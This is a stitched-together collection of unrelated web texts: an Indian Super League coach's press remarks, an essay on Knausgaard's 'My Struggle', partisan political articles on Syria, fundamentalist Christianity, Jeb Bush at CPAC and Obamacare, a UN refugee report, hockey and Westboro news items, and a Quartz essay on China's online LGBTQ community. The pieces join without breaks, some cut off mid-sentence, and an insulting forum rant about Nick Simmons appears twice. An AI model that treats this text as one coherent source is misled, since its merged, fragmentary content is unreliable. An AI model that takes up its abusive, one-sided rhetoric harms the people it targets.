He professed, “We are the only team in the ISL to have had 4 consecutive away games. I don’t think that is right either. We’ve travelled so much and the training facilities were so poor at some venues. We’ve come through it with just 1 loss but every result has an added significance because it is a short league. We are very happy to be back in Kerala. We enjoy our home town, our home stadium and our home crowd. I hope that is an impetus for the team and boost our performances.”
On FC Goa manager Zico’s accusations that it was not fair that they were not allowed to train on the pitch at Kochi, Coppell pointed out that it was a decision taken by the ISL and not Kerala Blasters. He explained, “It is not fair for us either. We can’t train on it. This is an ISL decision. It has got nothing to do with Kerala Blasters. I would love to train on the pitch. This is going to be our 4th home game and we have still not trained on the pitch. So, it’s the same for both sides. I can understand what Zico is saying. The pitch has different dimensions to our training facility in Kochi. So, it is not our decision.”
'Liverpool playing better than anyone'
With regards to Kerala’s chances of progressing to the playoff stages the Englishman argued, “They (FC Goa) are a team with a successful record in the ISL. With 6 games left to play, any team can qualify for the playoffs. If we duplicate our results over the last 6 games, we have a chance of qualifying. If we improve on that record, we will definitely make it. 3 wins is all you require.”
Coppell had an interesting suggestion when asked if the low goal tally in this season of the ISL was because of the scheduling issues he seemed to disagree, “I don’t think so. Most of the teams have had enough time to recover, repair and prepare. Occasionally, there are only 3 days between 2 games and it is not enough time only if you’re travelling. I think fewer goals are because of the teams being well organised. Maybe the league should give points for goals. It happens in Rugby. Maybe that will make teams attacking minded.”
Kerala’s strikers have not been performing up to the mark this season but Coppell has preferred to stick with Mohammed Rafi up front despite having options like Haokip, Nazon, Farukh Chaudhury.
“He’s had more shots than any other Kerala player. Prior to the Delhi game, we won 2 and drew 2 in the 4 games he started. I think you could criticise a lot of the forwards in our squad for various things but I don’t have much options in the positions of the Indian players. I do have an option in Rafi’s position but in terms of knowing the game and complementing with others, Rafi is good. Sometimes, there are players who may not be eye-catching themselves, but bring out the best in those around him. The runs they make and being available for passes. He’s a Kerala man and he wants to play. He’s done well so far,” he signed off justifying Rafi's inclusion.This week sees the publication of the third volume of “My Struggle,” the thirty-six-hundred-page autobiographical novel by Karl Ove Knausgaard, the Norwegian novelist. (James Wood reviewed the first volume, in 2012.) It’s hard to overstate the strangeness of the book’s success. The six volumes of “My Struggle” chronicle, in hypnotic detail, episodes from Knausgaard’s life. There is no plot to speak of, unless you consider real life a plot. And yet, in Norway, one book has sold for every nine adults; as translations have proliferated, readers all over the world have fallen in love with Knausgaard. Part of the appeal is that he has left many of the names and details unchanged; you can do a Google images search and see many of the characters you read about. But the appeal isn’t just gossipy. Perhaps because he is so candid and open, Knausgaard has made his memories into common property. He encourages readers to look inside and find their inner Karl Oves. Or the reverse: he holds a mirror up to his life; you look, and see yourself.
Broadly speaking, there are two ways to recognize yourself in “My Struggle.” The first is to notice where your own thoughts and experiences coincide with Knausgaard’s—to find, as many readers have, that he has written the diary that you would’ve written, were you a Norwegian man born in 1968. (Reading the first volume, I was delighted to find that Karl Ove and I liked the same bands—New Order, Talk Talk, Talking Heads—and that we have the same elaborate theory about why they’re good.) The second is to discern, in the rhythms and textures of the book, the rhythms and textures of your own life. This second kind of recognition is the secret to “My Struggle” ’s popularity. Set aside the particular events that Knausgaard describes: doesn’t your life feel like his?
Writers have portrayed consciousness in all sorts of ways: as what William James called “an alternation of flights and perchings” (“Mrs. Dalloway”), as a river-like flow, carrying thoughts and perceptions in its current (“Ulysses”), as the creation of an unseen, inner artwork (“In Search of Lost Time”). Knausgaard has found his own way of understanding it: as a struggle. It’s the struggling that gives life its texture—constant, absorbing, and unending, the same whether you’re nine, nineteen, or thirty-nine. Like many struggles, this one is simultaneously tormenting and rewarding, heroic and pathetic, dynamic and static, purposeful and a waste of time. The main thing is that you can’t stop struggling. You’re a creature of struggle. You desperately want to win each battle but you never want the war to end.
There’s a very concrete struggle at the center of the book: the struggle between Knausgaard and his father. “I was so frightened of him that even with the greatest effort of will I am unable to recreate the fear; the feelings I had for him I have never felt since, nor indeed anything close,” Knausgaard writes, in the just-translated third volume. “His footsteps on the stairs—was he coming to see me? … The wild glare in his eyes. The tightness around his mouth. The lips that parted involuntarily. And then his voice …. His fury struck like a wave, it washed through the rooms, lashed at me, lashed and lashed and lashed at me, and then it retreated.” Much in the first three volumes, at least nominally speaking, has been about the experience of being this father’s son. When he’s a kid, Karl Ove thinks constantly about how to avoid his father’s anger or how to retaliate against it, or forgive it; as an adult, he struggles to write about it.
But Knausgaard’s book is more abstract than that; it’s about more than the experience of a son. That’s because, in exploring that experience, Knausgaard has ended up exploring all experience. If being a writer is like being a swimmer, and life is like the ocean through which you swim, then Knausgaard’s book starts out being about the waves but ends up being about the stroke. His father’s anger is one of those waves, and Knausgaard, early on, learned to see the wave coming, to brace himself, to swim up its face and, hopefully, to dive beneath before it swept him up. (If not—if he was knocked backward and pulled under—he learned the skill of patience: “Everything passed.”) You find that Knausgaard approaches all events in the same way. He traces the same pattern of serial, wave-like growth and recession in every context: love, friendship, sex, music, writing, art, intellectual life, spirituality. And he faces these waves in the same way each time, preparing for each experience, scaling it, sometimes diving beneath and into it, sometimes being swept up and thrown away from it—in every case finding himself, afterward, waiting for the next wave. He is fascinated by the inexhaustibility of the passions, which are themselves wave-like, always returning, drawn out by the gravity of an inner moon.
Reading “My Struggle,” you’re pulled inside these rhythms; at the same time, you’re surprised by the subjects out of which they emerge. It makes sense for big, important experiences to be understood in this way: the consummation of a romance, the death of a father, the birth of a child, writing a book. It makes less sense for lesser experiences. And yet Knausgaard finds this same rhythm everywhere: in a long drive to see his grandparents; in a swimming lesson; in grocery shopping; in playing guitar; in making tea; in cleaning a bathroom. In this volume, called “Boyhood,” he talks this way not just about childhood crushes—you understand how immersive those are—but about searching a dump for porno magazines; going to the store to buy new soccer clothes; and walking down a forest path, to the gas station, to buy candy. These are events he anticipates, fears, and relishes, and in which he understands himself as performing well or badly. He takes them seriously. But it’s not that these events matter—they don’t. It’s that this is life, and life is a struggle; to live is to care. “Indifference is one of the seven deadly sins, actually the greatest of them all, because it is the only one that sins against life,” he writes, at the end of the second volume.
Since reading the first volume of “My Struggle,” in 2012, I’ve noticed the Knausgaardian rhythms in my own life. Making coffee in the morning, working out at the gym, shaving afterward, reading a book, thinking deep thoughts, writing an essay, visiting a museum, browsing in a bookstore, cleaning my desk, calling my mother. Over and over, it’s the same pattern: envision, fantasize, plan, execute, and then succeed or fail, gloat or mourn, survive to fight another day, summon up, or discover, your will again. Knausgaard sees life as built out of many small acts of will, most of them objectively meaningless, but all of them subjectively—and non-negotiably—meaningful. (“Meaningful, meaningless, meaningful, meaningless, this is the wave that washes through our lives and creates its inherent tension,” he writes.) Who knows which of these acts will survive in memory? So far, each of the volumes of “My Struggle,” because it deals with different epochs of Karl Ove’s life, has shown us different kinds of struggles: the struggles of adolescence and mourning, in Volume 1; of marriage, family, creativity, and honesty, in Volume 2; of childhood, and its claustrophobia and newness, in Volume 3. What’s stayed constant is the struggle. It has a fractal quality: the shape is the same, whether the import is large or small.
The big question hovering over the book has to do with the significance of the struggle. Does it mean anything that we approach life in this way? I’m not sure yet—we’re only on the third volume of six. My guess, though, is that it does. Other novelists have thought about life as a struggle: naturalist writers, like Jack London or Edith Wharton, who saw their protagonists as locked in a struggle with their environments. Knausgaard’s struggle is different. It’s internal and personal, rather than universal and natural: my struggle, not the struggle. And Knausgaard’s idea of struggle isn’t a negative one; it’s value-neutral, even positive. In “My Struggle,” struggle can be fun; often, Karl Ove yearns for it. He loves sports and competition, and thrives on the intensity, the spiritual athleticism, that struggle unlocks. It’s tempting to see something of Beckett in Knausgaard’s ever-trying, ever-failing seriality. But I suspect that Knausgaard is actually the anti-Beckett. He doesn’t take a cosmic view. If there’s a metaphor in the book that feels like it captures Knausgaard’s artistic aims, it’s guitar-playing. Here he is as a teen-ager, in Volume 1:
I had bought an extra-long guitar lead so that I could stand in front of the hall mirror and play, with the amplifier upstairs in my room at full blast, and then things really started to happen, the sound became distorted, piercing, and almost regardless of what I did, it sounded good, the whole house was filled with the sound of my guitar, and a strange congruence evolved between my feelings and these sounds, as though they were me, as though that was the real me. I had written some lyrics about this, it had actually been meant as a song, but since no tune came to mind, I called it a poem when I later wrote it in my diary: _I distort my soul’s feedback
I play my heart bare
I look at you and think:
We’re at one in my loneliness
We’re at one in my loneliness
You and me
You and me, my love.
_
I don’t think Knausgaard is working up to some big philosophy of life, at least not consciously. Instead, he’s amplifying his life, playing it as loud as he can, trying to get inside it—and letting its vibrations get inside of him. The struggle doesn’t “mean” anything, but it is something: not a tune, but a frequency, uniquely his. Perhaps we each have our own.
All of this was there in Volumes 1 and 2. Volume 3 has added a twist. Of everything we’ve read so far, this volume brings us closest to Knausgaard’s father. The more we learn about the relationship between father and son, the more we wonder about its influence on Knausgaard’s inner life. Is Knausgaard’s struggle his own? Or is it actually an echo from his childhood—a way of being that he learned and has never let go of? In what may be the most surprising and moving passage of “Boyhood,” Knausgaard thinks through the fact that he has few clear memories of his mother. He knows that she was there, taking care of him and his brother: “All the things mothers do for their sons, she did for us,” he writes; “if there was someone there, at the bottom of the well that is my childhood, it was her.” So why is she largely absent from his childhood recollections? Could it be that his father’s dominant tone—the expression, perhaps, of his own inner struggle—drowned her out?
Knausgaard has said that his book is “anti-ideology, in all senses.” Perhaps its unsettling title (in Norwegian, it’s called “Min Kamp”) reflects its wary relationship with its own central idea of consciousness as struggle. Even as he sees struggle everywhere, Knausgaard wonders if there’s a way of being that does without it. With his own children, he continues, “I have tried to achieve only one aim: that they shouldn’t be afraid of their father”:
When I enter a room, they don’t cringe, they don’t look down at the floor, they don’t dart off as soon as they glimpse an opportunity, no, if they look at me, it is not a look of indifference, and if there is anyone I am happy to be ignored by it is them. If there is anyone I am happy to be taken for granted by, it is them. And should they have completely forgotten I was there when they turn forty themselves, I will thank them and take a bow and accept the bouquets.
Behind the idea of the struggle, there’s something else: a wish that it were possible to sink beneath the waves and stay there.
Photograph by Gunter Gluecklich/laif/Redux.Obama's hope to do anything of substance in Syria took another severe blow yesterday as the U.S.-backed and armed Syrian Revolutionaries Front (SRF) struck a peace deal with ISIS, according to both Arabic and English language news reports.
The SRF had only a few months ago been deemed by the U.S. foreign policy establishment as "the West's best fighting chance against Syria's Islamist armies."
Now AFP reports:
Syrian rebels and jihadists from the Islamic State of Iraq and Syria have agreed a non-aggression pact for the first time in a suburb of the capital Damascus, a monitoring group said on Friday. The Syrian Observatory for Human Rights said the ceasefire deal was agreed between ISIS and moderate and Islamist rebels in Hajar al-Aswad, south of the capital. Under the deal, "the two parties will respect a truce until a final solution is found and they promise not to attack each other because they consider the principal enemy to be the Nussayri regime." Nussayri is a pejorative term for the Alawite sect, an offshoot of Shiite Islam to which President Bashar al-Assad belongs.
According to media reports, other groups joining the ceasefire with ISIS include Liwa Ahrar Turkman al-Golan, Liwa Hittin and Liwa al-Umma al-Wahida.
When seeking U.S. heavy weapons, including TOW anti-tank missiles, SRF commander Jamal Maroof was full of bravado, declaring war against ISIS. In May, McClatchy reported that SRF and other "vetted moderate rebel" groups had received TOW missiles from the U.S. and posted videos of their use.
But as soon as weapons were being delivered to Maroof's SRF forces, he was giving interviews to Western media making clear that "al-Qaeda is not our problem."
A May 2014 report by Jenan Moussa of Al-Aan notes that Maroof runs SRF in a cave with his three wives and children:
During that interview where Maroof talks about receiving U.S. military aid and his soldiers receiving U.S. training, there is one curious artifact in the background, as you'll see in the photo on the next page.Right-wing Evangelical Fundamentalism claims to "go back to roots of Christianity." In fact, the "literal" (i.e., the earth was created in seven literal days) reading of the Bible was invented in the 19th century. Few fundamentalists care about the early church, the Gospels, the Catholic traditions, Augustine, Arian heresies, encyclicals and councils. Rather, they blend Southern Conservatism, bastardized Protestantism, some Pauline doctrine, gross nationalism and a heavy dose of naive anti-intellectualism for a peculiar American strain of bullshit. As Reverend Cornel West has noted, "the fundamentalist Christians want to be fundamental about everything, except 'love thy neighbor.'"
Here are some verses we liberal Christians wish they would get "fundamentalist" about:
1. Immigration
The verse:
When a stranger sojourns with you in your land, you shall not do him wrong. You shall treat the stranger who sojourns with you as the native among you, and you shall love him as yourself, for you were strangers in the land of Egypt: I am the Lord your God. - Leviticus 19:33-34.
Why Fundamentalists Hate This Verse:
Because fundamentalists are xenophobic: religious fundamentalism is a reaction to the multiculturalism of liberal democracy. Rather than seek a "brotherhood of man," religious fundamentalism longs for a tribal community, without the necessary friction from those with foreign beliefs, cultures and customs. Here's an open letter from the president of an organization called Christians for A Sustainable Economy (Or as I call it: Christians for an unsustainable environment):
We are called to discern among, "sojourners" (like Ruth and Rahab who intend to assimilate and bless) and "foreigners" (who do not intend to assimilate and bless) and to welcome the former with hospitality.
This is an odd spin, given that in Leviticus, the command is unambiguous, there is no aside about a distinction between those who intend to assimilate. The letter then addresses the immigration bill:
Its passage would allow 11 million illegal immigrants to become citizens in the short-term, with likely an additional 20 million family members as new citizens within about a decade.... The net price tag of S. 744 will be in the trillions of dollars.... Such escalation of debt is one way to destroy a nation. It is immoral. It is theft from American seniors and children. It is unbiblical. It is unkind.
I could write a bunch of stuff about those numbers being crazily inaccurate, but let me allow the Lord to respond:
I will be a swift witness against... those who oppress the hired worker in his wages, the widow and the fatherless, against... those who thrust aside the sojourner, and do not fear me, says the Lord of hosts. Malachi 3:5.
2. Poverty
The Verses:
One of the most humorous aspects of modern-day, far-right Christianity is its reverence of capitalism. That's because Christ could be considered almost "anti-capitalist." Consider this verse:
Again I tell you, it is easier for a camel to go through the eye of a needle than for a rich person to enter the kingdom of God. - Matthew 19:24.
There is some version of the story of the rich man approaching Jesus that appears in every synoptic Gospel. In the Gospel of Mark, Jesus tells the rich man, "go, sell all that you have and give to the poor, and you will have treasure in heaven."
The story of Lazarus should similarly terrify modern day fundamentalists:
Lazarus is a beggar who waits outside of a rich man's house and begs for scraps. When both Lazarus and the rich man die, Lazarus ends up in heaven, while the rich man ends up in hell. When the rich man begs for water, Abraham says, "Child, remember that you in your lifetime received your good things, and Lazarus in like manner bad things; but now he is comforted here, and you are in anguish." Luke 19:25.
Why Fundamentalists Hate These Verses:
Because the only thing fundamentalists dislike more than immigrants is poor people. Seriously. Just this year, Tea Party Congressman Stephen Fincher explained why he thought the government should cut food stamps entirely, "The role of citizens, of Christians, of humanity is to take care of each other, but not for Washington to steal from those in the country and give to others in the country." Michelle Bachmann has also made a similar statement. The entire Tea Party movement is based on the idea that a huge portion of Americans are "takers" who suck the lifeblood out of the economy.
The Catholic Church actually has a long history of decrying the exploitation of the poor and supporting union movements See Rerum Novarm). G.K. Chesterton's writing on the rich often hits Occupy Wall Street levels ("The rich man is bribed... that is why he is rich.") But fundamentalists insist that poverty be explained in terms of a personal moral failure. They therefore hold that success should be described in terms of morality; this is the so-called Protestant ethic that Weber praised. But it is also, as Nietzsche noted, the "ethic of the hangman." The poor are considered culpable so that they can be punished -- like today's cuts to food stamps or the public shaming of those on welfare.
3. The Environment
The Verse:
In Genesis, man is given stewardship of the Earth, God's creation. [Stewardship, in the Christian tradition implies protection. Man should exist in harmony with the earth, not work against it.] As is noted in Colossians 1:16-17:
By him all things were created, in heaven and on earth, visible and invisible, whether thrones or dominions or rulers or authorities -- all things were created through him and for him. And he is before all things, and in him all things hold together.
Why Fundamentalists Hate The Verse:
Jesus Christ once told his followers:
No one can serve two masters. Either you will hate the one and love the other, or you will be devoted to the one and despise the other. You cannot serve both God and money. - Luke 16:13.
Increasingly, the religious right is trying to do exactly that, intertwining Evangelical fundamentalism with unfettered capitalism -- with disastrous results for the environment. Thus, American political life is increasingly dominated by Christians who reject the religious ethos, in favor of capitalist ethos.
One Conservative Evangelical publication, World magazine, hypes the "We Get It" campaign, which seeks to discredit the threat of global warming. It also claims the threat of climate change is "alarmism" and fears that efforts to clamp down on emissions will hurt the poor (read: corporations). In reality, climate change will have its greatest effect on people living on less than a dollar a day who can not adapt to higher temperatures. Conservative Evangelicals are not concerned with dwindling biodiversity, the destruction of ecosystem, rampant pollution, global warming and the numerous other environmental challenges we face. Rather they, with the business community, are concerned with the bottom line. The future is irrelevant (unless we're talking about government debt). Thus, the Biblical command |
appearance on stage and vote for him in the straw poll.
The New York Times’ Jonathan Martin writes that Bush brought people in from Washington, D.C.: “Mr. Bush’s supporters organized caravans of his Washington backers to attend his speech, and they cheered whenever anyone else booed,” Martin wrote.
Those same bused in cheerers also will likely be expected by Bush’s campaign to vote for him in the famed straw poll.
Betsy Woodruff at the liberal outlet Slate also obtained emails that prove Bush’s team was busing in supporters from K Street.
“Emails provided to Slate show that backers of the former Florida governor are busing supporters from downtown Washington D.C. to CPAC in National Harbor, Maryland, and organizing to get them day passes into the event,” Woodruff wrote.
One person behind the effort to bus in Bush backers, Woodruff confirmed, was former George W. Bush advance man Fritz Brogan. “A Bush insider confirmed to Slate that Bush’s Right to Rise PAC is helping organize the transportation,” Woodruff wrote.
Three other potential GOP presidential campaigns told Breitbart News that they expect nothing less from Bush’s campaign, since he doesn’t have real conservative support.
“It comes as no surprise that the Bushies would try to rig the CPAC straw poll. Jeb, like his father and brother, is strongly disliked and distrusted by the Base,” one said.
Trying to rig the CPAC straw poll “is a cynical effort by Bush’s establishment campaign to attempt to build some conservative bona fides where none exist,” a second rival presidential effort staffer told Breitbart News. “Since they don’t have legitimate conservative support they have to pay for it in a transparent AstroTurf effort.”
“This shows one thing: Jeb Bush’s base is D.C. insiders and lobbyists,” an operative for a third potential GOP presidential rival said. “He has to bus them everywhere he goes. They are his only hope, that they can buy him this election every step of the way. True conservatives need to stand up and fight back.”
Before CPAC, when asked if Bush’s supporters would be paid and bused in, Bush spokeswoman Kristy Campbell denied it flatly. She said in an email that she “can confirm that we are not trying to play in the straw poll – despite what anyone else is telling you.”
Campbell, Bush’s spokeswoman, told Breitbart News on Saturday afternoon: “We aren’t trying to play in the straw poll. Some supporters in the DC area who were planning to attend CPAC expressed concerns about getting over to the Gaylord. We helping by providing some limited transportation on Friday only (specific to the time of the Governor’s speech.)”nick simmons is NO musician first of all. just because his dad is does not mean he is. possibly a hack masquerading as one but now we know he's a thief just like his daddy... you see this is learned behavior. nick has parents who teach him it's ok to steal from other artists...if you need proof. well here is a set of links that will clearly show where nick has gotten this idea he's entitled to steal from others as he lawyers up just like his parents. the douche bag was taught good by the moneybags with the big ego and the big mouth;Noted links of information are as followed:1: www.animenewsnetwork.com/news/… 2: www.cnngo.com/tokyo/none/manga… 3: robot6.comicbookresources.com/… 4: geeksofdoom.com/2010/02/25/nic… So called wanna be Rock musician Nick Simmons has been pretending he's writing and drawing the comic Incarnate for Radical Comics. But some people have seen a few similarities between that book and the successful manga series, Bleach.here are a couple of the examples here...After making enquiries, Radical Comics replied to Bleeding Cool saying; We at Radical Publishing, Inc. and Radical Comics, Inc. are quite concerned to hear the news surrounding Nick Simmons?s Incarnate Comic Book. We are taking this matter seriously and making efforts now to contact the publishers of the works in question in an effort to resolve this matter.We have halted further production and distribution of the?Incarnate? comic book and trade paperback until the matter is resolved to the satisfaction of all parties. Rest assured that Radical is taking swift action regarding this matter and will continue in its efforts to maintain the integrity and protect the intellectual property of artists throughout the world whose creative works are the bedrock of our Company and the comic book industry.In Swipe File we present two or more images that resemble each other to some degree. They may be homages, parodies, ironic appropriations, coincidences or works of the lightbox. We trust you, the reader, to make that judgment yourself. If you are unable to do so, please return your eyes to their maker before any further damage is done.The Swipe File doesn?t judge, it's interested more in the process of creation, how work influences other work, how new work comes from old, and sometimes how the same ideas emerge simultaneously, as if their time has just come.The Swipe File was named after the advertising industry habit where writers and artist [URL=" en.wikipedia.org/wiki/Swipe_fi… "]collect images and lines they admire[/URL] to inspire them in their work. It was swiped from the Comic Journal who originally ran this column, as well as the now defunct Swipe Of The Week website.nick simmons is NO musician first of all. just because his dad is does not mean he is. possibly a hack masquerading as one but now we know he's a thief just like his daddy... you see this is learned behavior. nick has parents who teach him it's ok to steal from other artists...if you need proof. well here is a set of links that will clearly show where nick has gotten this idea he's entitled to steal from others as he lawyers up just like his parents. the douche bag was taught good by the moneybags with the big ego and the big mouth.The ongoing Pakistani military offensive against militants in the North Waziristan tribal region has forced more than 75,000 people to flee their homes in the past two weeks, seeking shelter in neighbouring Afghanistan, the United Nations refugee agency said today.
The UN High Commissioner for Refugees (UNHCR), the World Food Programme (WFP), the World Health Organization (WHO) and other partners are working to coordinate relief efforts and deliver assistance, providing tents and other basic relief items to the most vulnerable.
“However, sanitation, clean drinking water and medical care are in short supply, and although local communities have generously welcomed the displaced, already scarce resources are now reaching capacity,” said UNHCR.
The agency stressed that humanitarian assistance is urgently needed to support the host communities in both Khost and Paktika provinces in sustaining the level of assistance they have been providing to displaced families.
UNHCR’s Country Representative in Afghanistan, Bo Schack, and UN Humanitarian Coordinator for Afghanistan, Mark Bowden, visited the eastern province of Khost today along with Afghan Government officials to see first-hand the situation of thousands of Pakistanis who have arrived after fleeing the fighting in their homeland.
Since the cross-border movement beagn in mid-June, a number of UN agencies and their humanitarian partners have provided food and non-food items, vaccinated thousands of children against polio and measles and pre-positioned life-saving medicines for 10,000 patients, among a range of other relief activities.
“The agencies operating on the ground in Khost and Paktika provinces are launching an appeal to donors to support urgent and life-saving interventions,” said UNHCR.
“Overall, agencies will be requesting approximately $20 million for six months to deliver emergency and life-saving assistance to 10,000 families in Khost and 3,000 families in Paktika.”
In addition to those who have fled across the border, the Pakistani Government estimates that the latest fighting has left some 470,000 people internally displaced.SAN JOSE — Sharks defenseman Matt Irwin left Friday morning’s practice early with an upper body injury and his status is uncertain for Saturday night’s game against the Vancouver Canucks.
“He tweaked something shooting a puck, and went off just as a precaution, right now,” coach Todd McLellan said. “We’ll see how he is after some treatment and in the morning. Don’t know if he’ll be available.”
Irwin, 27, struggled to get in the lineup earlier this season, but has been playing his best hockey as of late with points in four of his last five games. Most recently paired with Brent Burns on the blue line, he has seven goals and 15 points this season.
For more on the Sharks, see David Pollak’s Working the Corners blog at blogs.mercurynews.com/sharks. Follow him on Twitter at twitter.com/PollakOnSharks.For several weeks now, the mantra that we keep hearing from Obamacare’s cheerleaders has been “give it a chance; it’s only just started“. Which is fair, to a point: it has just started, …and it’s been a frustrating, miserable disaster unlike anything which would be allowed to continue in the free market.
However, no matter how many chances we give, this can’t work for one very basic reason: government bureaucrats are in charge of it. And when those people are in charge of anything, the very last thing you can expect is excellence, at least as a private sector entity would define “excellence”.
—
Watch this 4 minute clip from Tuesday’s hearings and see for yourself:
Keep in mind, this sort of evasiveness is coming at the beginning of this whole undertaking. Why should we think they will somehow behave BETTER as time goes on? If/when we have an issue with coverage, or access, or cost, what makes us think that they’ll suddenly be transformed into warm-&-fuzzy do-gooders, eager to please their newly-minted customer base?
Let’s be honest here: why would they?
If we had a private sector company being this deliberately ambiguous, offering mind-numbingly inexact answers to direct questions (from an oversight committee, no less), we’d brand them as dishonest charlatans and that firm would lose market share overnight. You’d have boycotts, demonstrations, and full-page ads against them. Liberals and conservatives alike would be outraged.
And rightly so.
As a result, the firm would likely either (A) undergo radical change to improve, (B) not change, and eventually go out of business, or (C) be bought out by a more customer-focused, more successful competitor.
But this is the Federal Government, which has granted to itself the power to enforce its “product” via IRS penalties and threats. As such, the normal rules and market repercussions don’t apply to them. Which is why we see, far from being customer-focused, them being haughtily dismissive of both oversight and their supposed “customers”.
John Hayward (aka “Doctor Zero”) wrote about this a few weeks back:
“…It’s a mistake to view this program as though it were a private-sector entity. The commissars of ObamaCare don’t care about unhappy “customers.” There is no competition here. The disgruntled have nowhere to go. You can’t even refuse to do business with Obama’s lousy insurance racket, not without paying a stiff fine – the size of which is also coming as an eye-popping shock to the Low Information Voters, who never quite understood what “individual mandate” meant until now.
The Left loves to appropriate free-market language to conceal the exercise of coercive power, but conservatives should know enough to see past that smokescreen. It’s not going to matter that a large number of people hate ObamaCare. Quivering lips and eyes filling with tears at the thought of a heartless betrayal by the phony they voted for will not make a difference in the long run. Neither will anger over the horribly botched launch of the ObamaCare system.
That sort of thing is fatal to private-sector product launches, not statist takeovers of the economy…”
This will not, it CANNOT, ever be a popular success among those whom are paying for it, despite the assurances from the Affordable Care Act fanboys in the press. And it can’t be because the government leaders and bureaucratic bigwigs have no need for us to like it.
They only ever needed to make it exist. And rest assured, its continued existence is far more important to them …than yours.There are more LGBTQ people living in China than the entire population of France—some 65 million individuals (link in Chinese), according to estimates. These people are not as marginalized as many Westerners may think: Gay marriage may not be legalized and gay citizens not granted some of the same rights as their heterosexual counterparts, but their community is still thriving regardless—and I should know, because I’m part of it.
What is revolutionizing and centralizing this community is the same phenomenon that has united ostracized peoples the world over: the internet.
In spite of China’s digital censorship laws, the extent to which LGBTQ-related topics can be talked about online is virtually limitless (all links in Chinese unless otherwise noted). As long as this community doesn’t disrupt the government’s status quo offline through public protests and disruptive gatherings, they are rarely interfered with or discouraged by Chinese officials; in fact, they’re flourishing.
Popular Weibo (China’s version of Twitter) accounts about gay people, such as “My affairs with my gay partner,” have amassed millions of followers. Internet socialites who are open about their sexuality have gained popularity and have capitalized on their fame by starting their own lines of clothing. Popular gay-dating app Blued has also reached an astronomical scale of more than 22 millions users, usurping Grindr to become the most-used dating app for gays worldwide. Think pieces, LGBTQ movies, erotic films and images, and even catty commentaries of niche gay culture can all be found in the rapid currents of China’s internet.
The birth of Blued
One of the earliest and most popular websites for the gay community was—and still is—Light Blue, the predecessor of the popular app Blued. Founder Geng Le realized that he liked men around 2000, back when homosexuality was still defined as a mental disease (link in English) in China. Seeking more information to extend his understanding of his newfound sexuality, Geng found a book titled Beijing Story—a love story with genuine, undemonized gay characters—in the most cryptic rims of the internet. He wept as he read the book online. For the longest time he thought he was alone, an abnormity, but now “I realized that there were people just like me,” he says.
Geng felt compelled to make that voice easier to find for others. At the time, he was working at his local police station, and he didn’t have a clue about how to make a website. So Geng bought a coding book, The Oriental King of Web-making, and spent around RMB $10,000 (USD$2,000 dollars) on then-cutting-edge Intel 486 to start crafting Light Blue. Occupied by both of his jobs, he worked 17 hours almost everyday for six years. The website launched in 2000 and had news, chat sections, and published LGBTQ-related films and novels.
By 2006, Light Blue users numbered in the hundreds of thousands, and a team of like-minded people joined Geng on his mission to provide for China’s LGBTQ community. Around the same time, the Chinese government started to exert tighter control over the internet and began cracking down on websites with “immoral” content. Light Blue was one of the websites that was regularly forced into a black out.
Today Light Blue has over 5 million registered users and is a pillar of China’s LGBTQ community—they’ve even created partnerships with local and national health departments in HIV-prevention programs. As the CEO of Light Blue and Blued, Geng has received praises from international organizations such as the UN and the World Health Organization—and even China’s own prime minster KeQiang Li, in 2012. Equipped with more resources and clout than ever, the company continues to expand its popular platforms and public health initiatives.
Censored, but not fully
Though the Chinese government still forbids representations of homosexuality on TV and has censored documentaries about being gay, they appear to be more leniant when it comes to digital content. China may have barricaded itself with the Great Fire Wall and imposed brutal censors on its internet, but its netizens are more informed and liberated than at any other point in history. Online activism has on some level forced the Chinese government to become more transparent, and though ironclad bans are still are in place on content mentioning Tiananmen incident or Falun Gong, the internet censors seem to be loosening their grips on a lot of issues from government malfeasances and press freedoms to subcultural marginalized populations such as LGBTQ community. Without some level of acquiescence from the Chinese government, China’s LGBTQ’s online presence couldn’t have reached today’s scale.
Harvard researchers theorize that the internet has become the Chinese government’s platform to allow citizens to express grievances, but once the closely monitored freedom of speech sparks will for potential collective actions, this allowance gets retracted.
China censors its internet in two ways: Sweeping keyword blocks and a more manual approach where up to 1,000 censors might be employed at any one time to annihilate sensitive information. On top of that, approximately 20,000–50,000 internet police and internet monitors are situated at all levels of government. Once “immoral” content is found, fines and shutdowns are imposed. Sites often therefore opt to over-censor their own content that isn’t even explicit in order to avoid interacting with the jurisdiction.
For example, in April, the word “feminism” suddenly became taboo on Weibo, accompanied with a merciless keyword blockage that allowed no leeway for any related information. The incident that led to this total lockdown was as innocuous as an internet-based feminist group called “F the feminist group” holding signs in subways deterring sexual harassment behaviors.
Harvard researchers theorize that the internet has become the Chinese government’s platform to allow citizens to express grievances, but once the closely monitored freedom of speech sparks will for potential collective actions, this allowance gets retracted. Last year, five feminists were arrested (link in English) for planning rallies protesting sexual harassment.
A community that only lives online
The fact that LGBTQ-related content is now alive and well on China’s internet suggests that neither the central government nor local host sites consider the content to be a threat anymore—as long as they don’t try to garner support with rallies IRL.
Geng believes this major political shift began with the vocal presence of the LGBTQ community online. Jason Q Ng, an expert on Chinese internet censorship (link in English), told Quartz that the Chinese government might start to realize that a LGBTQ presence does not threaten the stability of their regime. The gay community’s online presence has helped debunk the public’s popular misunderstandings and against LGBTQ people, which has helped destigmatize gay culture in China.
However, some members of the gay population are not as positive. SiDa Jiang (who is known as Daghe) is an openly gay character on one of the most popular talk shows in China, “Says the Weirdoes.” Daghe came out during the first season of the show and rose to stardom overnight for a speech he made in the third season about a heartbroken relationship with a man online. “Obviously as an openly gay man, I feel incumbent to do some stuff for the community and people expect that from me, but with China’s current situation, there’s really not much I can do aside from saying a few words online” he says. “Weibo’s 140 characters can only do so much.”
China has not yet made any legislative effort to improve the rights of its population’s LGBTQ community, and it doesn’t seem like it’ll making any progress anytime soon, Renowned LGBTQ rights activist Yinhe Li has been asking representatives to submit bills to legalize gay marriage during China’s annual legislative sessions every year since the 2000, but the bills never gathered enough support.
So, for now, the Chinese LGBTQ community is sadly still segregated from the real world and only gets to exist online—but at least our community there is growing and thriving.
This article is part of Quartz Ideas, our home for bold arguments and big thinkers.The Westboro Baptist Church had announced plans to picket the funeral of Leonard Nimoy, but now the hate-filled church has been thwarted by funeral planners.
Nimoy died this week, prompting an outpouring of support from across the country, including President Obama. But his death also drew an angry response from the Westboro Baptist Church, the church famous for its anti-gay protests. The group often targets funerals, both of celebrities and of soldiers killed overseas, showing up with signs filled with anti-gay slurs. It had promised to be on site when Nimoy was laid to rest.
But now the Westboro Baptist Church has announced it will not be protesting at Leonard Nimoy’s funeral after planners decided to make the memorial private. The church announced the decision early Sunday on one of its official Twitter handles.
